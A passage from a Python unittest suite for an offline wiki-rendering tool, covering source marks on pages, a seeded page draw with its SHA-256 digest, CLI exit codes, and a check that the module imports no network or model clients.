for name, text in cases.items():
with self.subTest(case=name):
with self.assertRaises(view.RunError):
view.read_marks(self.marks_file(text=text))
def test_marks_that_do_not_fit_the_bundle_cannot_render(self) -> None:
cases = {
"a page not in the bundle": [{"page": "rye.md", "sources": [{"change": "changed", "path": "kilde/bread.md"}]}],
"a reserved file": [{"page": "index.md", "sources": [{"change": "changed", "path": "kilde/bread.md"}]}],
"a source the page does not cite": [{"page": "crust.md", "sources": [{"change": "gone", "path": "kilde/oven.md"}]}],
}
for name, pages in cases.items():
with self.subTest(case=name):
with self.assertRaises(view.RunError):
self.render_marked(self.marks_file(pages))
def test_a_source_entry_without_an_id_still_counts_as_cited(self) -> None:
# K4 point 2: a page builds on a source when "/" + path stands as any sources[].resource on it.
(self.bundle / "crust.md").write_text(CRUST.replace(
"generated:", " - resource: /kilde/oven.md\n title: Oven notes\ngenerated:"), encoding="utf-8")
self.render_marked(self.marks_file([{"page": "crust.md", "sources": [{"change": "gone", "path": "kilde/oven.md"}]}]))
self.assertIn('class="source-mark"', self.html("crust.html"))
def test_the_view_does_not_import_the_k1_module(self) -> None:
source = (ROOT / "okfwiki" / "view.py").read_text(encoding="utf-8")
self.assertNotIn("okfwiki.sources", source)
self.assertNotIn("from okfwiki import sources", source)
class DrawTest(Fixture):
def test_the_draw_is_fixed_by_the_seed_and_takes_distinct_concept_pages(self) -> None:
for n in range(3, 30):
(self.bundle / f"p{n:02d}.md").write_text(CRUST.replace("Crust", f"P{n}"), encoding="utf-8")
first = view.draw(self.bundle, seed=7, count=20)
self.assertEqual(first, view.draw(self.bundle, seed=7, count=20))
self.assertNotEqual(first, view.draw(self.bundle, seed=8, count=20))
self.assertEqual(20, len(set(first)))
self.assertFalse({"index.md", "log.md"} & set(first))
def test_the_draw_refuses_more_pages_than_there_are(self) -> None:
with self.assertRaises(view.RunError):
view.draw(self.bundle, seed=7, count=3)
def test_the_draw_sha256_covers_seed_count_and_the_pages_in_order(self) -> None:
text = "seed 7\ncount 2\ncrust.md\nsourdough.md\n"
self.assertEqual(hashlib.sha256(text.encode("utf-8")).hexdigest(),
view.draw_sha256(7, 2, ["crust.md", "sourdough.md"]))
self.assertNotEqual(view.draw_sha256(7, 2, ["crust.md", "sourdough.md"]),
view.draw_sha256(7, 2, ["sourdough.md", "crust.md"]))
self.assertNotEqual(view.draw_sha256(7, 2, ["crust.md", "sourdough.md"]),
view.draw_sha256(8, 2, ["crust.md", "sourdough.md"]))
class CliTest(Fixture):
def run_cli(self, *args: str) -> tuple[int, str]:
buf = io.StringIO()
with contextlib.redirect_stdout(buf), contextlib.redirect_stderr(io.StringIO()):
code = view.main(list(args))
return code, buf.getvalue()
def test_render_then_check_prints_the_count_and_exits_0(self) -> None:
code, _ = self.run_cli("render", str(self.bundle), str(self.sources), "--out", str(self.out))
self.assertEqual(0, code)
code, out = self.run_cli("check", str(self.bundle), str(self.out))
self.assertEqual(0, code)
self.assertIn(f"footnotes resolved: {FOOTNOTES} of {FOOTNOTES}", out)
def test_check_exits_1_when_a_footnote_does_not_resolve(self) -> None:
self.run_cli("render", str(self.bundle), str(self.sources), "--out", str(self.out))
(self.out / "crust.html").unlink()
code, out = self.run_cli("check", str(self.bundle), str(self.out))
self.assertEqual(1, code)
self.assertIn(f"footnotes resolved: {FOOTNOTES - 1} of {FOOTNOTES}", out)
def test_check_on_a_missing_output_cannot_run(self) -> None:
code, _ = self.run_cli("check", str(self.bundle), str(self.root / "nothing"))
self.assertEqual(2, code)
def test_draw_prints_one_page_per_line_then_the_sha256_of_the_draw(self) -> None:
code, out = self.run_cli("draw", str(self.bundle), "--seed", "7", "--count", "2")
self.assertEqual(0, code)
lines = out.splitlines()
self.assertEqual(["crust.md", "sourdough.md"], sorted(lines[:-1]))
self.assertEqual(f"sha256 {view.draw_sha256(7, 2, lines[:-1])}", lines[-1])
def test_render_with_marks_marks_the_page(self) -> None:
marks = self.root / "marks.json"
marks.write_text(marks_text(MARKS), encoding="utf-8")
code, _ = self.run_cli("render", str(self.bundle), str(self.sources), "--out", str(self.out), "--marks", str(marks))
self.assertEqual(0, code)
self.assertIn('class="source-mark"', self.html("sourdough.html"))
def test_render_with_a_marks_file_that_cannot_be_read_cannot_run(self) -> None:
for content in (None, "{"):
with self.subTest(content=content):
marks = self.root / "marks.json"
if content is not None:
marks.write_text(content, encoding="utf-8")
code, _ = self.run_cli("render", str(self.bundle), str(self.sources), "--out", str(self.out),
"--marks", str(self.root / ("marks.json" if content else "missing.json")))
self.assertEqual(2, code)
def test_versions_prints_the_count_and_exits_1_while_one_is_left(self) -> None:
(self.sources / "kilde" / "mixer.md").write_text(MIXER_NOTES, encoding="utf-8")
(self.bundle / "mixer.md").write_text(MIXER, encoding="utf-8")
code, out = self.run_cli("versions", str(self.bundle), str(self.sources))
self.assertEqual(1, code)
self.assertIn("version numbers in running text outside dated history: 2 of 13", out)
self.assertIn("mixer.md", out)
def test_versions_exits_0_at_zero(self) -> None:
code, out = self.run_cli("versions", str(self.bundle), str(self.sources))
self.assertEqual(0, code)
self.assertIn("version numbers in running text outside dated history: 0 of 6", out)
def test_versions_on_a_missing_source_root_cannot_run(self) -> None:
code, _ = self.run_cli("versions", str(self.bundle), str(self.root / "nothing"))
self.assertEqual(2, code)
def test_overlap_prints_both_counts_and_exits_1_while_one_is_left(self) -> None:
(self.bundle / "starter.md").write_text(STARTER, encoding="utf-8")
code, out = self.run_cli("overlap", str(self.bundle), str(self.sources))
self.assertEqual(1, code)
self.assertIn("redundant source entries (same file and line): 1 of 7", out)
self.assertIn("sentences that are a prefix or substring of another on the same page: 1 of 9", out)
def test_overlap_exits_0_at_zero(self) -> None:
code, out = self.run_cli("overlap", str(self.bundle), str(self.sources))
self.assertEqual(0, code)
self.assertIn("redundant source entries (same file and line): 0 of 4", out)
def test_tool_imports_no_network_or_model_client(self) -> None:
source = (ROOT / "okfwiki" / "view.py").read_text(encoding="utf-8")
for banned in ("anthropic", "urllib.request", "http.client", "requests", "subprocess", "socket"):
self.assertNotIn(f"import {banned}", source)
if __name__ == "__main__":
unittest.main()